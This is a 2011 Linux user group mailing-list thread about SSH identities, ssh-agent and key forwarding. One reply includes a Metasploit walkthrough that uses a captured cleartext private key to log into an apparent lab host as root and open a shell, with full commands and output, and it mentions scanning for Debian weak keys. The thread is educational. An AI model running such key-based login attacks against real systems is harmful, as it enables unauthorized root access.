Managing Multiple SSH Identities - Best Practices?

Tue Jan 18 08:56:02 MST 2011

Oh, I believe your question syntax might have been misunderstood,

"Is there a way to get just the key you used to follow you?" might have
meant (get) that
you didn't want to look at, or display the original key, but instead wanted,
during SSH
leapfrogging between servers, that you wanted to use just the first server
KEY on each
subsequent server?

Short answer: NO

That would defeat the reason for server KEY security.

Other answers:  YES (danger danger)

This can be hacked by using the same SSH server and client key on every
server (not recommended).

On Tue, Jan 18, 2011 at 8:44 AM, Lisa Kachold <lisakachold at obnosis.com>wrote:

> Gutten tag:
>
>
> On Tue, Jan 18, 2011 at 1:40 AM, der.hans <PLUGd at lufthans.com> wrote:
>
>> Am 05. Jan, 2011 schwätzte Kurt Granroth so:
>>
>>  2. You SSH credentials "follow" you when ssh'ing from the remote server
>>> to another one
>>>
>>
>> Is there a way to get just the key you used to follow you?
>>
>> ciao,
>>
>> der.hans
>> --
>> #  http://www.LuftHans.com/        http://www.LuftHans.com/Classes/
>> #  ABLEconf - 2011Apr02 - CfP 2010Jan22 - Free Software for Free
>> Enterprise
>> #  "If class warfare is being waged in America, my class is clearly
>> winning."
>> #    -- Warren Buffett
>>
>
> SSH establishes encrypted connections by the exchange of *host keys*. When
> a remote system gives your local system its *host key* it is basically
> telling your local system how to encrypt data so that the remote system can
> then unencrypt it.
>
> When you make an SSH connection to a remote machine, it sends you its *host
> key*. You will then be prompted as to whether or not you want to accept
> this key, and/or whether or not you want to store it for later reference
> (for the next time you connect to that remote system). In general you always
> want to say "yes" to both of these questions.
>
> For more details on what the SSH protocol is, what it can do, and where it
> is going, please see the official SSH FAQ.<http://www.onsight.com/ssh/faq/ssh-faq.html>
>
> How to determine your host key when leap-frogging from one server to
> another:
>
> 0) SSH
>
> Easiest way to get information is using ssh-agent. Let's see what happens
> if we just run it:
> To get these commands to mean something to the current shell, we can do
> this:
>
> % ssh-agent
> SSH_AUTH_SOCK=/tmp/ssh-XXQ3QdKZ/agent.12080; export SSH_AUTH_SOCK;
> SSH_AGENT_PID=12081; export SSH_AGENT_PID; echo Agent pid 12081;
>
> So by running ssh-agent we get shell commands describing how to
> communicate with a running agent. But these are Bourne-flavored shell
> commands---to get C-shell-flavored commands, we need to run it with the -coption:
>
> % ssh-agent -c setenv
> SSH_AUTH_SOCK /tmp/ssh-XXQ3QdKZ/agent.12080; setenv SSH_AGENT_PID 12081;
> echo Agent pid 12081;
>
> % eval `ssh-agent -c`
> Agent pid 12081
>
>  Now, instead of printing the shell commands out to the terminal, the shell
> interprets them. You can then see the effect:
>
> % echo $SSH_AGENT_PID
> 12081
>
>
> 1) Other Tools:
>
> a)  downkd.pl
>
> A great number of older SSH servers include easily exploited keys, like the
> Debian OpenSSL Vulnerability:
>
> Using downkd.pl:
>
> COMMAND is one of:
>
>   file:  examine files on the command line for weak keys
>   host:  examine the specified hosts for weak SSH keys
>          (change destination port with "host -p PORT HOST...")
>   user:  examine user SSH keys for weakness; examine all users if no
>          users are given
>   quick: check this host for weak keys (encompasses "user" plus
>          heuristics to find keys in /etc)
>   help:  show this help screen
>   version: show version information
>
> OPTIONS is one of:
>
>   -c FILE: set the database cache file name (default: dowkd.db)
>
> dowkd currently handles the following OpenSSH host and user keys,
> provided they have been generated on a little-endian architecture
> (such as i386 or amd64):
>
>   RSA/1024, RSA/2048, RSA1/1024, RSA1/2048
>   RSA/4096
>   DSA/1024
>
> (The relevant OpenSSH versions in Debian do not support DSA key
> generation with other sizes.)
>
> OpenVPN shared also detected if they have been created on
> little-endian architectures.
>
> Unencrypted RSA private keys and PEM certificate files generated by
> OpenSSL are detected, provided they use key lengths of 1024, 2048 or
> 4096 bits (again, only for little-endian architectures).
>
> Note that the blacklist by dowkd may be incomplete; it is only
> intended as a quick check.
>
> b) Metasploit SSH Key Login Scanner
> auxiliary/scanner/ssh/ssh_login_scanner SSH Public Key Login Scanner
> This module will test ssh logins on a range of machines using a defined
> private key file, and report successful logins. If you have loaded a
> database plugin and connected to a database this module will record
> successful logins and hosts so you can track your access. Note that
> password-protected key files will not function with this module -- it is
> designed specifically for unencrypted (passwordless) keys. Key files may be
> a single private (unencrypted) key, or several private keys concatenated
> together as an ASCII text file. Non-key data should be silently ignored.
>
> c) Metasploit SSH Key Login Pubkey
>
> SSH Login Pubkey
> auxiliary/scanner/ssh/ssh_login_pubkey Using public key authentication for
> SSH is highly regarded as being far more secure than using usernames and
> passwords to authenticate. The caveat to this is that if the private key
> portion of the key pair is not kept secure, the security of the
> configuration is thrown right out the window. If, during an engagement, you
> get access to a private SSH key, you can use the ssh_login_pubkey module to
> attempt to login across a range of devices.
>
> msf > use auxiliary/scanner/ssh/ssh_login_pubkey
> msf auxiliary(ssh_login_pubkey) > show options
>
> Module options:
>
>    Name              Current Setting  Required  Description
>    ----              ---------------  --------  -----------
>    BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
>
>    KEY_FILE                           no        Filename of one or several cleartext private keys.
>    RHOSTS                             yes       The target address range or CIDR identifier
>    RPORT             22               yes       The target port
>
>    STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
>    THREADS           1                yes       The number of concurrent threads
>    USERNAME                           no        A specific username to authenticate as
>
>    USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
>    USER_FILE                          no        File containing usernames, one per line
>    VERBOSE           true             yes       Whether to print output for all attempts
>
> msf auxiliary(ssh_login_pubkey) > set KEY_FILE /tmp/id_rsa
> KEY_FILE => /tmp/id_rsa
> msf auxiliary(ssh_login_pubkey) > set USERNAME root
>
> USERNAME => root
> msf auxiliary(ssh_login_pubkey) > set RHOSTS 192.168.1.154
> RHOSTS => 192.168.1.154
> msf auxiliary(ssh_login_pubkey) > run
>
> [*] 192.168.1.154:22 - SSH - Testing Cleartext Keys
> [*] 192.168.1.154:22 - SSH - Trying 1 cleartext key per user.
> [*] Command shell session 1 opened (?? -> ??) at 2010-09-09 17:17:56 -0600
> [+] 192.168.1.154:22 - SSH - Success: 'root':'57:c3:11:5d:77:c5:63:90:33:2d:c5:c4:99:78:62:7a' 'uid=0(root) gid=0(root) groups=0(root) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
> [*] Scanned 1 of 1 hosts (100% complete)
> [*] Auxiliary module execution completed
> msf auxiliary(ssh_login_pubkey) > sessions -i 1
> [*] Starting interaction with 1...
>
> ls
> reset_logs.sh
> id
> uid=0(root) gid=0(root) groups=0(root)
> exit
> [*] Command shell session 1 closed.
> msf auxiliary(ssh_login_pubkey) >
>
>
> REFERENCES:
>
> sh-3.2# ssh -v
> OpenSSH_5.2p1, OpenSSL 0.9.7l 28 Sep 2006
> usage: ssh [-1246AaCfgKkMNnqsTtVvXxYy] [-b bind_address] [-c cipher_spec]
>            [-D [bind_address:]port] [-e escape_char] [-F configfile]
>            [-i identity_file] [-L [bind_address:]port:host:hostport]
>            [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]
>            [-R [bind_address:]port:host:hostport] [-S ctl_path]
>            [-w local_tun[:remote_tun]] [user@]hostname [command]
>
>
> http://www.softpanorama.org/Net/Application_layer/ssh.shtml
> http://pentestmonkey.net/blog/metasploit-ssh-key-database/
> http://www.metasploit.com/modules/auxiliary/scanner/ssh/ssh_login_pubkey
> http://www.offensive-security.com/metasploit-unleashed/SSH_SSH_Login_Pubkey
> --
>
> "The mantra of any good security engineer is:* 'Security is a not a
> product, but a process.' * It's more than designing strong cryptography
> into a system; it's designing the entire system such that all security
> measures, including cryptography, work together." — Bruce Schneier
>
> (503) 754-4452
> (623) 688-3392
>
>  http://www.obnosis.com
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>

-- 

(503) 754-4452
(623) 688-3392

 http://www.obnosis.com
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.PLUG.phoenix.az.us/pipermail/plug-discuss/attachments/20110118/4067a928/attachment.html>